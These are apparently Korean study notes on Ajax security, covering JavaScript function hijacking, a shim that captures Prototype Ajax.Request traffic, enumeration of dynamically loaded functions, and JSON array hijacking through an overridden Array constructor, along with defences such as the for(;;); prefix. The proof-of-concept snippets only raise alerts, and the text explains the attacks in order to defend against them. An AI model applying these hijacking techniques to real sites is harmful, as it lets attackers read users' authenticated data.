1. Ajax어플리케이션 하이재킹
자바스크립트가 가진 특성 때문에(동적인 측면) 하이재킹으로 인한 보안 문제가 일어난다. 함수를 선언하고 나서 후에 재정의 할 수 있는 특징 때문이다.
ex)
<script> function sum(x,y){ var z=x+y; alert(“sum is” +z); } setTimeout(“sum=function(){alert(‘hijacked’);}”,5000); </script> <input type=”button” value=”5+6=?” onclick=”sum(5,6);”/> |
실수로 인한 함수 덮어쓰기
자바스크립트의 특성상 같은 함수 이름이 들어가 있을 경우 나중의 함수가 호출된다.
이를 막기 위해 네임스페이스(namespace) 개념을 도입하면 된다.
var Utils={}; Utils.debug=function(){…}; |
하지만,실수로 코드를 덮어쓰는 것을 막기 위해 힘쓰지만 의도적으로 덮어쓰면 자신의 원하지 않게 동작하거나 멈출 수 있다.
그림 > 같은 범위의 같은 이름으로 선언되었을 때 마지막에 선언된 함수가 전에 선언된 함수를 덮어쓴다.
그림 7-2>분리된 네임스페이스는 자바스크립트 라이브러리가 실수로 기존 함수를 덮어쓰는 것을 막아준다.
함수 덮어쓰기 예
ex)
new Ajax.Request('/FuncHijack/data.xml', { method:'get', onSuccess: function(transport){ var response = transport.responseText || "no response text"; alert("Success! \n\n" + response); }, onFailure: function(){ alert('Something went wrong...') } }); |
Ajax.Request와 OnSuccess는 자바스크립트 실제 함수 코드에 대해 참조만 하고 있다.따라서 아래의 코드가 가능 하다.
//원 함수에 대한 참조 생성 var oldAlert = window.alert; //참조로 원 함수를 부르는 끼워넣기 함수 생성 function newAlert(msg) { out = "And the Earth Trembled with the message:\n\n"; out +=msg.toUpperCase(); out +="\n\n... And it was Good." oldAlert(out); } //window.alert 를 덮어쓰기 하여 사용자가 만든 끼워넣기 함수를 가리키게 한다. // window.alert = newAlert; alert("Hey! What are you guys doing on this roof\n\t-Security"); |
단계
1.원래 경고 함수에 대한 참조를 생성
2. 끼워넣기 함수를 생성
3.함수를 가르키던 기존참조를 없애고 끼워넣기 함수를 가르키게 한다.
프로토 타입의 Ajax.Request 함수에 대해서도 적용할 수있다.끼워넣기 함수가 OnSuccess 함수도 해이재킹해 HTTP 요청과 응답정보를 볼 수도 있다.
그림>프로토 타입을 이용함 Ajax 애필리케이션의 트래픽을 끼워넣기 함수로 캡처해 보여주고 있다.
//프로토 타입의 Ajax 핸들러에 대한 참조 생성 var oldRequest = Ajax.Request; //원래의 응답 핸들러에 대한 참조 생성 function FakeAjaxRequest(a, b) { var url = a; var options = b; //원래의 응답 핸들러에 대한 참조 생성 var oldCallback = options.onSuccess; //응답 핸들러에 대한 끼워 넣기 함수 생성 var ShimCallback = function(x) { var out = 'Captured Traffic\n'; out += options.method.toString().toUpperCase() + " " + url + " HTTP/1.1\n"; out += "=== Response ===\n"; out += x.status + "\n"; out += x.responseText; alert(out); //원래의 응답 핸들러에 값 건네기 oldCallback(x); }; //B-2의 끼워넣기 함수를 응답 핸들러가 가르키게 하기 options.onSuccess = ShimCallback; //요청 핸들러 생성자에 값 건네기 return new oldRequest(url, options); } //Ajax.Request를 오버라이드 할 때 전역 변수를 건드리는 것이 필요 FakeAjaxRequest.Events = ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; // A-2의 끼워넣기 함수를 Ajax.Request가 가르키게 하기 Ajax.Request = FakeAjaxRequest; |
프로토 타입 프레임워크의 취약점을 이용한 것이 아니라 모든 프레임워크,자바스크립트 함수에서 동작한다.즉, 브라우져에서 해당 네이티브 함수를 어떻게 구현 하였는가에 따라 달라진다.
하이재킹 기술에 대한 대처법
-클라이언트단 코드의 무결성을 검증하는 코드를 넣는 것
ex)
1).프로토 타입에서는 ValidateIntegrity() Ajax.Request()처럼 자주 쓰는 함수의 toString() 함수를 호출해 조작이 됐는지 확인 할 수 있다.
하지만 ValidateIntegrity()가 항상 true 로 리턴 되게 하면 무용지물이 될 수있다.
2).클라이언트 기반 MD5해시값을 서버에 보내 클라이언트와 서버가 통신 하기 전에 무결성을 검증하는 방법, 하지만 해커가 클라이언트 코드의 실제 MD5값을 계산 하면 무용지물 등.
클라이언트 단 코드의 무결성 검증은 불가능하다.
2.주문형 Ajax의 하이재킹
주문형 Ajax란 필요시 동적으로 자바스크립트 코드를 다운로드 하는 기술이다. 게으른 로딩(lazy loading) 또는 지연된 로딩(delayed loading)이라고 한다. Dojo의 패키징 시스템에서 이를 이용한다. 동적으로 Script 태그를 생성하고 코드를 가져온다. 이는 자바스크립트 파일 목록에도 나타나지 않는다.
공격하는데 실제 필요한 것은 자바스크립트 디버거와 자바스크립트에 쓰여진 값을 모니터링 하는 것이다.
자바스크립트 모니터링/디버깅을 하기 위해서 먼저 현재 자바스크립트 환경에서 접근 가능한 함수가 무엇인가 알아본다. 사용자 정의 함수는 전역 window 객체의 프로퍼티이다.
<script> function BogusFunction1() { //empty function } function BogusFunction2() { //empty function } var ret = ""; for(var i in window) { if(typeof(window[i]) == "function") { ret += i + "\n"; } } alert(ret); </script> |
IE 이외의 브라우져에서 위의 같이 함수 객체를 얻어 올 수 있다.
IE 에서는 네임스페이스를 이용하여 객체의 프로퍼티를 열거해 함수를 찾을 수 있다. 웹 브라우져를 미리 방문해 자바스크립트 코드의 레이아웃을 살펴보면 네임스페이스를 알 수 있다.
-코드가 새롭게 추가되는 것을 알게 할 수 있는 툴
보통 모든 함수를 스캔하는 코드를 실행해 사용자 정의 함수 목록을 만들어 주게 한다. setInterval() 함수로 스캐닝 코드를 반복 실행해 새로 추가된 함수의 소스코드를 얻을 수있다.
ex)Hook 툴(좀더 찾아봐야됨)
그림>HOOK window 객체 열거를 통해 FRAME 에서 두개의 사용자 정의 함수를 추출하고 있다.
그림>HOOK이 새롭게 추가되 ㄴ네개의 함수를 찾아냈다.반면,후면의 파이어버그에선 새롭게 추가된 함수와 관련된 정보를 볼 수 없다.
HOOK은 사용자 정의 함수 객체에 valueof()를 호출해 해당 자바스크립트 함수를 추출한다.
그림>HOOK이 네 개의 새로 추가된 함수를 찾아서 추출하고 있다. secret()함수엔 암호나 키처럼 보이는 것이 있음을 알 수 있다.
3.JSON API 하이재킹
보통 XSS 취약점이 있거나 사용자 자바스크립트 위젯 같은 코드를 업로드 하는 사이트에서 발생한다. 크로스사이트 요청 변조(CSRF)와 자바스크립트 함 수 덮어쓰기 등과 같이 사용하는 기술이다.
JSON 하이재킹이 가능한 이유는 JSON이 자바스크립트 소스코드의 부분집합이기 때문이다. 즉, JSON 배열을 얻어 SCRIPT 태그에 넣을 수 있다.
<script type="text/javascript"> //error 가 나지 않는다. [["AJAXWorld", "2007-04-15", "2007-04-19", ["ATL", "JFK", "ATL"], 95120657, true], ["Honeymoon", "2007-04-30", "2007-05-13", ["ATL", "VAN", "SEA", "ATL"], 19200435, false], ["MS Trip", "2007-07-01", "2007-07-04", ["ATL", "SEA", "ATL"], 74905862, true], ["Black Hat USA", "2007-07-29" "2007-08-03", ["ATL", "LAS", "ATL"], 90398623, true]]; </script> |
JSON을 리턴하는 웹서버의 Ajax 종점을 SCRIPT 태그로 가리키게 해서 자바스크립트 인터프리터가 배열 생성자 함수인 Array()를 강제적으로 실행하게 할 수 있다.
function Array() { var foo = this; var bar = function() { var ret = "Captured array items are: ["; for(var x in foo) { ret += foo[x] + ", "; } ret += "]"; //notify an attacker. Here we just display it alert(ret); }; setTimeout(bar, 100); } |
임의의 함수인 bar()를 생성해 변수 foo(배열에 저장된 모든아이템)의 모든 모든 프로퍼티를 추출한다. 악의적인 배열 생성자가 setTimeout()함수로 100밀리초 후에 bar() 함수를 호출하는 것이다.
아래의 코드를 보면 다음 코드의 웹페이지를 읽었다.
<html> <head> <title>JSON Hijacking Demo</title> <link rel="stylesheet" type="text/css" href="media/style.css"/> <link rel="shortcut icon" href="/favicon.ico" /> </head> <body> <script> function Array() { //... 간략화를 위해 생략 } </script> <!—서드파티 사이트의 종점을 직접 포함하는 스크립트--> <script src="http://www.hightechvacations.net/Vacations/ajaxcalls/" + "PastTrips.ashx"> </script> ... </html> |
그림 7-12 다른 웹 사이트를 가르키고 있는 소스 속성을 가진 스크립트 태그가 있는 evil.com을 앨리스가 방문했다. evil.com이 배열 생성자를 바꿔치기 했기 때문에 서드 파티 웹사이트가 리턴 하는 JSON 배열 콘텐츠의 내용을 evil.com 이 훔출 수있다.
1)악의적인 배열 생성자를 갖고 있어서 생성된 배열의 콘텐츠가 evil.com 으로 가게된다.
2) 스크립트 태그는 HighTechVacation.net의 PasTrips.ashx 종점으로 외부 참조가 되어있다.고전적인 CSRF공격처럼 브라우저가 인증된 요청을 HighTechVacation.net의 PastTrip.ashx로 보낸다.
3)브라우저가 스크립트 태그안에 JSON 배열을 받으면 자바스크립트 인터프리터에 값을 건네고 악의적인 배열 생성자를 호출해 배열 리터럴의 내용을 추출한다.
객체 리터럴 하이재킹
<script type="text/javascript"> {"frequentFlyer": true, "miles": 19200} </script> |
자바스크립트를 파싱하면 invalid label 이라는 문법 에러가 발생한다.
자바스크립트 라벨은 인용부호를 포함할 수없다. 즉, ({"suit": "spades", "value": "jack"})처럼 JSON 객체가 있다면 이는 적법한 스크립트이다.
JSON 하이재킹이 가능한 이유
1.Ajax 종점이 리턴하는 JSON 배열 리터럴과 객체 리터럴은 문법적으로 맞는 자바스크립트여야 한다.
2.자바스크립트 인터프리터가 리터럴을 만나면 자동적으로 배열이나 객체 생성자를 호출해야한다.
JSON 하이재킹을 막는법
JSON 하이재킹을 막으려면 이상한 테이더를 리턴하도록 Aajx 종점 처리를 해야 한다. Ajax 종점에 스크립트 태그로 바로 접속하면 이상한 데이터가 실행되어 인터프리터가 JSON 리터럴을 수행하지 못하게 한다.
I’/\/\ a bl0ck of inva1id $ynT4x! WHOO! [["AJAXWorld", "2007-04-15", "2007-04-19", ["ATL", "JFK", "ATL"], 95120657, true], ["Honeymoon", "2007-04-30", "2007-05-13", ["ATL", "VAN", "SEA", "ATL"], 19200435, false], ["MS Trip", "2007-07-01", "2007-07-04", ["ATL", "SEA", "ATL"], 74905862, true], ["Black Hat USA", "2007-07-29" "2007-08-03", ["ATL", "LAS", "ATL"], 90398623, true]]; |
이상한 자바스크립트 코드로 JSON 응답을 준 해법을 생각해보자 window.onerror()를 오버라이드 해서 에러 핸들러 함수를 정의 한다 해보자.
<script type=”text/javascript”> /* ["Eve", "Jill", "Mary", "Jen", "Amy", "Nidhi"] */ </script> |
애플리케이션 검증을 제대로 하지 않으면 악의 적인 이름으로 악용될 수 있다.
<script type="text/javascript"> /* ["Eve*/["bogus", "Jill", "Mary", "Jen", "Amy", "bogus"]/*Nidhi"] */ </script> |
해결책은 무한루프를 돌게 하는 것이다.
<script type="text/javascript"> for(;;); ["Eve", "Jill", "Mary", "Jen", "Amy", "Nidhi"] </script> |
1). 주석을 사용하는 방법과 달리 무한 루프 방법은 텍스트를 둘러싸는 것이 없기 때문에 이를 악용할 수 없다
2).for(;;);은 자바스크립트 키워드와 기호로만 되어있다. 혹자는 while(1)을 이용하라 하지만 1은 숫자 리터털이기 때문에 숫자 생성자 함수 Number()를 악용할 수있기때문이다.생성자 안에서 this=0;으로 처리하고 문자적으로 1값을 재정의하게되면 while(true) 같은 불린 리터럴을 사용하는 무한루프도 문제가 있을 가능성이 있다.
보안 권고 무한 루프로 JSON을 리턴 하는 Ajax 종점을 보호하라. 특히 for(;;)를사용하라.자바스크립트 키워드로 되어있을 뿐이라 응답의 for(;;)문은 XMLHttpRequest 객체의 responseText 프로퍼티의 substring()으로 쉽게 제거 가능하다. function defangJSON(json) { if(json.substring(0,8) == "for(;;);") { json = json.substring(8); } Return json; } var safeJSONString = defangJSON(xhr.responseText); var jsonObject = safeJSONString.parseJSON(); |
결론
자바스크립트 동적인 특성으로 다른 자바스크립트 프로그램이 자동적으로 애플리케이션 소스코드를 수정 가능하게 할 수 있다.
함수덮어쓰기,소스코드 자체를 바꿀수 있다.또한 JSON 가능한 Ajax 종점에서 리턴하는 데이터가 하이 재킹된다.JSON 하이재킹을 막으려면 무한 루프 보호방법을 써야 한다.
출처 : http://openjava.pe.kr/
댓글